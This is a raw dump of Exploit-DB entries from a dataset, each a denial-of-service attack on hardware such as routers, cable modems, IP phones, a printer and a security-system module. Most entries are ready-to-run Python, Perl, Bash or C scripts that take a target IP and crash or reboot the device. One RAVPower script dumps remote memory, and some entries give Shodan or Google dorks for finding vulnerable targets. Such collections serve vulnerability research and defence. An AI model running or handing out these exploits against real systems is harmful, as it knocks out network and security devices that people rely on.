deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28852
Description: ONO Hitron CDE-30364 Router - Denial of Service
Type: dos
Platform: hardware
Date: 2013-10-10
Author: Matias Mingorance Svensson

Exploit:
#!/usr/bin/python

#-----------------------------------------------------------------------------------------
#Description:
#-----------------------------------------------------------------------------------------
#Hitron Technologies CDE-30364 is a famous ONO Router.
 
#The Hitron Technologies CDE-30364's web interface (listening on tcp/ip port 80), have a problem to insufficient bounds checking of data supplied in HTTP GET requests. The default ip adress of this adsl router, used for management purpose, is 192.168.1.1.
 
import httplib
import socket
import time
import sys
 
print "\n###########################################################################################################"
print "# Exploit Title: Router ONO Hitron CDE-30364 - Denial Of Service(80 port)                                 #"
print "# Date: 8-10-2013                                                                                         #"
print "# Exploit Author: Matias Mingorance Svensson - matias.ms[at]owasp.org                                     #"
print "# Vendor Homepage: http://www.ono.es/clientes/te-ayudamos/dudas/internet/equipos/hitron/hitron-cde-30364/ #"
print "# Tested on: Hitron Technologies CDE-30364                                                                #"
print "# Version HW: 1A                                                                                          #"
print "# Version SW: 3.1.0.8-ONO                                                                                 #"
print "###########################################################################################################\n"
 
#Send Request
print "Sending the request to router ONO Hitron CDE-30364...\n"
connct = httplib.HTTPConnection(sys.argv[1],80)
connct.request("GET", "AAAAAAAAAA"*10001)
connct.close()

#Check 80 port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
time.sleep(5)
try:
 s.connect((sys.argv[1], 80))
 s.shutdown(2)
 print "Attack Fail!\n"
except:
 print "Attack Successful! The router administration page is down!\n"
Exploit-DB #30167
Description: Packeteer PacketShaper 7.x - Web Interface Remote Denial of Service
Type: dos
Platform: hardware
Date: 2007-06-08
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/24388/info

Packeteer PacketShaper is prone to a remote denial-of-service vulnerability because the application's web interface fails to properly handle unexpected requests.

Successfully exploiting this issue allows remote, authenticated attackers to reboot affected devices, denying service to legitimate users.

PacketShaper 7.3.0g2 and 7.5.0g1 are vulnerable to this issue; other versions may also be affected. 

http://www.example.com/rpttop.htm?OP.MEAS.DATAQUERY=&MEAS.TYPE=
Exploit-DB #29402
Description: Packeteer PacketShaper 8.0 - Multiple Buffer Overflow (Denial of Service) (PoC) Vulnerabilities
Type: dos
Platform: hardware
Date: 2007-01-08
Author: kian.mohageri

Exploit:
source: https://www.securityfocus.com/bid/21933/info

Packeteer PacketShaper is prone to multiple denial-of-service vulnerabilities.

A remote attacker may exploit these issues to cause the device to crash, denying further service to legitimate users.

Packeteer PacketShaper Version 8.0 is vulnerable to these issues; other versions may also be affected.

https://www.example.com/clastree.htm?POLICY=/Inbound/Filesharing/BitTorrent/Ax1500

# class show /Inbound/Ax1500mailto:vuldb@securityfocus.com
Exploit-DB #9956
Description: Palm Pre WebOS 1.1 - Denial of Service
Type: dos
Platform: hardware
Date: 2009-10-14
Author: Townsend Harris

Exploit:
I.  Description

The Palm Pre WebOS version <= 1.1 suffers from a floating point exception vulnerability when attempting to view a specially crafted web page. This vulnerability has been addressed in the latest patch from Palm and all users are recommended to update to WebOS version 1.2+.

II.  Impact

If a user views a malicious web page that contains specially crafted data, the "LunaSysMgr" process will crash, causing the device to simulate a reboot.  The bug itself is a floating point exception that crashes the "LunaSysMgr" process and forces the device to restart the process, simulating a reboot of the system.  At the time of the discovery, the greatest risk to the system was a denial of service condition. 

The crash does not occur when viewing the malicious web page while in landscape mode.

III. Proof of Concept

The Palm Pre WebOS version <= 1.1 will crash upon opening a web page that contains 50,280 bytes of data or greater and attempts to refresh the page.  Upon viewing the malicious web page the LunaSysMgr process will generate a floating point exception and simulate a system "reboot".

The following code will trigger the issue

"<meta http-equiv="refresh" content="1">AAAAA..." using 50280 or more characters after the refresh.

IV. About

This vulnerability was discovered by Townsend Ladd Harris <PalmPreHacker [a t] gmail.com>

Vulnerability details will be posted at: http://tlhsecurity.blogspot.com/2009/10/palm-pre-webos-version-11-floating.html
Exploit-DB #33280
Description: Palm WebOS 1.0/1.1 - 'LunaSysMgr' Service Denial of Service
Type: dos
Platform: hardware
Date: 2009-10-13
Author: Townsend Ladd Harris

Exploit:
source: https://www.securityfocus.com/bid/36659/info

Palm WebOS is prone to a remote denial-of-service vulnerability because it fails to properly validate user-supplied data.

Attackers can leverage this issue to cause an affected device to reboot. Given the nature of this issue, attackers may also be able to run arbitrary code, but this has not been confirmed.

Palm WebOS 1.1 is vulnerable; other versions may also be affected. 

<meta http-equiv="refresh" content="1">AAAAA... using 50280 or more characters after the refresh.
Exploit-DB #51356
Description: Paradox Security Systems IPR512 - Denial Of Service
Type: dos
Platform: hardware
Date: 2023-04-10
Author: Giorgi Dograshvili

Exploit:
#!/bin/bash

# Exploit Title: Paradox Security Systems IPR512 - Denial Of Service
# Google Dork: intitle:"ipr512 * - login screen"
# Date: 09-APR-2023
# Exploit Author: Giorgi Dograshvili
# Vendor Homepage: Paradox - Headquarters <https://www.paradox.com/Products/default.asp?PID=423> (https://www.paradox.com/Products/default.asp?PID=423)
# Version: IPR512
# CVE : CVE-2023-24709

# Function to display banner message
display_banner() {
  echo "******************************************************"
  echo "*                                                    *"
  echo "*                PoC CVE-2023-24709                  *"
  echo "*      BE AWARE!!! RUNNING THE SCRIPT WILL MAKE      *"
  echo "*    A DAMAGING IMPACT ON THE SERVICE FUNCTIONING!   *"
  echo "*                                by SlashXzerozero   *"
  echo "*                                                    *"
  echo "******************************************************"
}

# Call the function to display the banner
display_banner
  echo ""
  echo ""
  echo "Please enter a domain name or IP address with or without port"
read -p  "(e.g. example.net or 192.168.12.34, or 192.168.56.78:999): " domain

# Step 2: Ask for user confirmation
read -p "This will DAMAGE the service. Do you still want it to proceed? (Y/n): " confirm
if [[ $confirm == "Y" || $confirm == "y" ]]; then
  # Display loading animation
  animation=("|" "/" "-" "\\")
  index=0
  while [[ $index -lt 10 ]]; do
    echo -ne "Loading ${animation[index]} \r"
    sleep 1
    index=$((index + 1))
  done

  # Use curl to send HTTP GET request with custom headers and timeout
  response=$(curl -i -s -k -X GET \
    -H "Host: $domain" \
    -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36" \
    -H "Accept: */" \
    -H "Referer: http://$domain/login.html" \
    -H "Accept-Encoding: gzip, deflate" \
    -H "Accept-Language: en-US,en;q=0.9" \
    -H "Connection: close" \
    --max-time 10 \
    "http://$domain/login.cgi?log_user=%3c%2f%73%63%72%69%70%74%3e&log_passmd5=&r=3982")

  # Check response for HTTP status code 200 and print result
  if [[ $response == *"HTTP/1.1 200 OK"* ]]; then
    echo -e "\nIt seems to be vulnerable! Please check the webpanel: http://$domain/login.html"
  else
    echo -e "\nShouldn't be vulnerable! Please check the webpanel:  http://$domain/login.html"
  fi
else
  echo "The script is stopped!."
fi
Exploit-DB #23876
Description: PicoPhone Internet Phone 1.63 - Remote Buffer Overflow
Type: dos
Platform: hardware
Date: 2004-03-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/9969/info

It has been reported that Picophone is prone to a remote buffer overflow vulnerability. This issue is due to the application failing to verify the size of user input before storing it in a finite buffer.

Successful exploitation of this issue will cause a denial of service condition to be triggered. The attacker may also leverage this issue to execute arbitrary code; this code would be executed in the security context of the user running the affected process.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23876.zip
Exploit-DB #45187
Description: PLC Wireless Router GPN2.4P21-C-CN - Denial of Service
Type: dos
Platform: hardware
Date: 2018-08-13
Author: Chris Rose

Exploit:
# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN Unauthenticated Remote Reboot
# Date: 8/12/2018
# Exploit Author: Chris Rose
# Affected Model : GPN2.4P21-C-CN(Firmware: W2001EN-00)
# Vendor: ChinaMobile
# Tested on: Debian Linux
# Shodan dork- title:PLC 
# CVE: None
#Description: PLC Wireless Router's are vulnerable to a unauthenticated remote reboot
# which can be achieved through sending a modified http request. The script below will
# take a user suppled IP address of a PLC router and send the exploit to the device.# Use the Shodan dork above to find PLC wireless routers.

import requests
import time



target = raw_input("Enter target IP: ")
post_data = {'reboot' : 'Reboot', 'obj-action' : 'reboot', 'var%3Anoredirect' : '1', 'var%3Amenu' : 'maintenance', 'var%3Apage' : 'system', 'var%3Aerrorpage' : 'system', 'getpage' : 'html%2Fpage%2Frestarting.html'}
exploit = requests.post("http://"+target+":8080/cgi-bin/webproc", data=post_data)

print ("Sent exploit attempt to %s")% target
time.sleep(1.2)
print ("Test if device is offline.")
time.sleep(1.5)
print ("Visit http://"+target+":8080/")
Exploit-DB #16068
Description: Polycom SoundPoint IP Devices - Denial of Service
Type: dos
Platform: hardware
Date: 2011-01-28
Author: pawel gawinek

Exploit:
Source:  http://packetstormsecurity.org/files/view/97948/polycomsoundpoint-dos.txt

Hello,

Polycom SoundPoint IP devices (IP phones) are vulnerable to Denial of 
Service attacks. Sending HTTP GET request with broken Authorization 
header effect a device restart after ~60 seconds.

It was tested on:

SoundPoint IP 335 (Version: 3.2.4.1734)
SoundPoint IP 430 (Version: 3.2.3.1734)
SoundPoint IP 450 (Version: 4.2.2.0710)

Proof Of Concept:
-----------------------------------------
#!/usr/bin/perl

use IO::Socket;
use strict;
use warnings;

if (!$ARGV[0]) {
         print "Usage: $0 [IP]\n";
         exit;
}

my $socket = IO::Socket::INET->new(
         Proto => "tcp",
         PeerAddr => "$ARGV[0]",
         PeerPort => "80") || die "Error $!";


print $socket "GET /reg_1.htm HTTP/1.1\r\nAuthorization: Basic\r\n\r\n";
#print $socket "GET /reg_1.htm HTTP/1.1\r\nAuthorization: Basic \0\r\n\r\n";
-----------------------------------------

-- 
best regards
pawel gawinek
Exploit-DB #21939
Description: Polycom ViaVideo 2.2/3.0 - Denial of Service
Type: dos
Platform: hardware
Date: 2002-10-15
Author: prophecy.net.nz

Exploit:
source: https://www.securityfocus.com/bid/5962/info

Polycom ViaVideo devices are prone to a denial of service condition upon receipt of numerous incomplete HTTP requests. This may restrict availability of the device for legitimate users.

The device may need to be restarted to regain normal functionality. 

perl -e 'print "GET " . "/" . " HTTP/1.1\r\n"' | netcat 10.1.3.54 3603 &

Issue the above command four or more times to cause the denial of service condition.
Exploit-DB #46733
Description: QNAP myQNAPcloud Connect 1.3.4.0317 - 'Username/Password' Denial of Service
Type: dos
Platform: hardware
Date: 2019-04-22
Author: Dino Covotsos

Exploit:
#!/usr/bin/python
# Exploit Title: QNAP myQNAPcloud Connect "Username/Password" DOS
# Date: 19/04/2019
# Exploit Author: Dino Covotsos - Telspace Systems
# Vendor Homepage: https://www.qnap.com
# Version: 1.3.4.0317 and below are vulnerable
# Software Link: https://www.qnap.com/en/utilities/essentials
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP/7/10 (version 1.3.3.0925)
# CVE: CVE-2019-7181
# POC
# 1.) Generate qnap.txt
# 2.) Copy the contents of qnap.txt to the clipboard
# 3.) Paste the contents in any username/password field(Add or Edit VPN)
# 4.) Click ok, program crashes.
# This vulnerability was responsibly disclosed February 3, 2019, new version has been released.

buffer = "A" * 1000

payload = buffer
try:
    f=open("qnap.txt","w")
    print "[+] Creating %s bytes QNAP payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #51157
Description: qubes-mirage-firewall  v0.8.3 - Denial Of Service (DoS)
Type: dos
Platform: hardware
Date: 2023-03-31
Author: Krzysztof Burghardt

Exploit:
# Exploit Title: qubes-mirage-firewall  v0.8.3 - Denial Of Service (DoS)
# Date: 2022-12-04
# Exploit Author: Krzysztof Burghardt <krzysztof@burghardt.pl>
# Vendor Homepage: https://mirage.io/blog/MSA03
# Software Link: https://github.com/mirage/qubes-mirage-firewall/releases
# Version: >= 0.8.0 & < 0.8.4
# Tested on: Qubes OS
# CVE: CVE-2022-46770

#PoC exploit from https://github.com/mirage/qubes-mirage-firewall/issues/166

#!/usr/bin/env python3

from socket import socket, AF_INET, SOCK_DGRAM

TARGET = "239.255.255.250"

PORT = 5353

PAYLOAD = b'a' * 607

s = socket(AF_INET, SOCK_DGRAM)

s.sendto(PAYLOAD, (TARGET, PORT))
Exploit-DB #43856
Description: RAVPower 2.000.056 - Memory Disclosure
Type: dos
Platform: hardware
Date: 2018-01-23
Author: Daniele Linguaglossa

Exploit:
"""

# Exploit Title: RAVPower - remote stack disclosure
# Date: 22/01/2018
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: https://www.ravpower.com/
# Software Link: https://www.ravpower.com/
# Version: 2.000.056
# Tested on: OSX
# CVE : CVE-2018-5319

"""

import socket
import sys
import re

__author__ =  "Daniele Linguaglossa"

def redall(s):
    tmp = s.recv(1)
    while not str(tmp).endswith("<errno>"):
        tmp+=s.recv(1)
        print tmp
    tmp = str(tmp).split("\r\n\r\n",1)[1]
    return re.sub("[\x0a]+","", tmp,100)

def hexdump(src, length=16):
    FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
    lines = []
    for c in xrange(0, len(src), length):
        chars = src[c:c+length]
        hex = ' '.join(["%02x" % ord(x) for x in chars])
        printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
        lines.append("%04x  %-*s  %s\n" % (c, length*3, hex, printable))
    return ''.join(lines)

if __name__ == "__main__":
    if len(sys.argv) == 2:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((sys.argv[1],80))
        packet = "GET /protocol.csp?fname=a&opt=%s&function=get HTTP/1.1\r\nConnection: close\r\nHost: {0}\r\n\r\n".format(sys.argv[1])
        packet = packet % ("%0a"*12241)
        s.send(packet)
        result = redall(s)
        print "Dumping memory...\n\n"
        print hexdump(result)
    else:
        print "Usage: {0} <ip>".format(sys.argv[0])
Exploit-DB #11597
Description: RCA DCM425 Cable Modem - 'micro_httpd' Denial of Service (PoC)
Type: dos
Platform: hardware
Date: 2010-02-28
Author: ad0nis

Exploit:
#!/usr/bin/python
# Title: RCA DCM425 Cable Modem micro_httpd DoS/PoC
# Date: 02/27/10
# Author: ad0nis  ad0nis@hackermail.com
# Info: This script causes a Denial of Service on a DCM425 cable modem.
# Sending 1040 bytes causes a reboot of the device after a few seconds
# of it freezing up. I believe this may lead to remote code execution
# but I did not bother to test it further.

# By default, this cable modem has an IP address of 192.168.100.1

# There are two different but similar models of this router, the only
# difference I see between them is that one has an On/Off button on the
# front. The one I discovered this on is the one without a button. I
# have not tested this on the other model.

# Thanks to ShadowHatesYou for the inspiration to look closer at the
# little black box on my network.

import sys, socket
target = sys.argv[1]
buffer = ( "\x41" * 1040 )
print "Sending 1040 A's to" ,target, "on port 80\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,80))
s.send(buffer)
s.close()
Exploit-DB #23672
Description: Red-M Red-Alert 3.1 - Remote Denial of Service
Type: dos
Platform: hardware
Date: 2004-02-09
Author: Bruno Morisson

Exploit:
source: https://www.securityfocus.com/bid/9618/info

Problems in various abilities have been identified in the Red-M Red-Alert network monitors. Because of this issues, an attacker may be able to crash a vulnerable device and eliminate logs, gain unauthorized access to the administrative interface, or partially evade detection by an affected device.

$ perl -e 'print "a"x1230 . "\r\n\r\n"| nc <device ip> 80
Exploit-DB #688
Description: Ricoh Aficio 450/455 PCL 5e Printer - ICMP Denial of Service
Type: dos
Platform: hardware
Date: 2004-12-15
Author: x90c

Exploit:
/*

* RICOH Aficio 450/455 PCL 5e Printer ICMP DOS vulnerability Exploit.

* DATE: 12.15.2004

* Vuln Advisory : Hongzhen Zhou<felix__zhou _at_ hotmail _dot_ com>

* Exploit Writer : x90c(Kyong Joo)@www.chollian.net/~jyj9782

*

* Testing -----------------------------------------------

* root@testbed:~/raw# gcc -o rpcl_icmpdos rpcl_icmpdos.c

* root@testbed:~/raw# ./rpcl_icmpdos

* Usage: ./rpcl_icmpdos <victim>

* root@testbed:~/raw# ./rpcl_icmpdos 192.168.2.4

* exploit sent ok() = ..x-_-x..

* root@testbed:~/raw#

*

*/

#include<sys/types.h>

#include<sys/socket.h>

#include<netinet/in.h>

#include<arpa/inet.h>

#include<linux/ip.h>

#include<linux/icmp.h>

unsigned short cksum(unsigned short *buf, int len);

struct icmp_packet{

       struct icmphdr icmp;

       struct iphdr inip;

       unsigned char bigger[90];               // STEP1: Bigger Data(ICMP Header(8)+ inip(20) + 90(bigger data))

} packet;

/* ########################

* #     Entry Point      #

* ########################

*/

int main(int argc, char *argv[]){

struct sockaddr_in ca;

int sockfd, ret;

if(argc<2){

       printf("Usage: %s <victim>\n", argv[0]);

       exit(-1);

}

sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

memset(&packet, 0, sizeof(packet));

packet.icmp.type = 3;                           // STEP2: Destination Unreachable.

packet.icmp.code = 1;

packet.icmp.un.echo.id = getpid();

packet.icmp.un.echo.sequence = 0;

packet.inip.ihl = 5;

packet.inip.version = 4;

packet.inip.tot_len = htons(20);

packet.inip.id = htons(9090);

packet.inip.ttl = 90;

packet.inip.protocol = IPPROTO_TCP;             // STEP3: IPPROTO_UDP also useable.

packet.inip.saddr = inet_addr("127.0.0.1");

packet.inip.daddr = inet_addr("127.0.0.1");

packet.inip.check = (unsigned short) cksum((unsigned short *)&packet.inip, 20);

packet.icmp.checksum = cksum((void *)&packet, sizeof(packet));

memset(&ca, 0, sizeof(ca));

ca.sin_family = AF_INET;

ca.sin_addr.s_addr = inet_addr(argv[1]);

if((sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&ca, sizeof(ca))) == sizeof(packet))

       printf("exploit sent ok() = ..x-_-x..\n");

else

       printf("exploit sent failed() = ..o^O^o..\n");

close(sockfd);

}

/* ########################

* #  Internet Checksum   #

* ########################

*/

unsigned short cksum(unsigned short *buf, int len){

register unsigned long sum;

for(sum = 0; len > 0; len--) sum += *buf++;

sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

return ~sum;

}

// milw0rm.com [2004-12-15]
Exploit-DB #51137
Description: Router ZTE-H108NS - Stack Buffer Overflow (DoS)
Type: dos
Platform: hardware
Date: 2023-03-30
Author: George Tsimpidas

Exploit:
# Exploit Title: ZTE-H108NS -  Stack Buffer Overflow (DoS)
# Date: 19-11-2022
# Exploit Author: George Tsimpidas 
# Vendor: https://www.zte.com.cn/global/
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# Usage: python zte-exploit.py <victim-ip> <port>
# CVE: N/A 
# Tested on: Debian 5.18.5

#!/usr/bin/python3


import sys
import socket
from time import sleep

host = sys.argv[1]  # Recieve IP from user
port = int(sys.argv[2])  # Recieve Port from user

junk = b"1500Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae"
* 5


buffer = b"GET /cgi-bin/tools_test.asp?testFlag=1&Test_PVC=0&pingtest_type=Yes&IP=192.168.1.1"
+ junk + b"&TestBtn=START HTTP/1.1\r\n"
buffer += b"Host: 192.168.1.1\r\n"
buffer += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0)
Gecko/20100101 Firefox/91.0\r\n"
buffer += b"Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
buffer += b"Accept-Encoding: gzip, deflate\r\n"
buffer += b"Authorization: Basic YWRtaW46YWRtaW4=\r\n"
buffer += b"Connection: Keep-Alive\r\n"
buffer += b"Cookie:
SID=21caea85fe39c09297a2b6ad4f286752fe47e6c9c5f601c23b58432db13298f2;
_TESTCOOKIESUPPORT=1; SESSIONID=53483d25\r\n"
buffer += b"Upgrade-Insecure-Requests: 1\r\n\r\n"




print("[*] Sending evil payload...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buffer)
sleep(1)
s.close()
print("[+] Crashing boom boom ~ check if target is down ;)")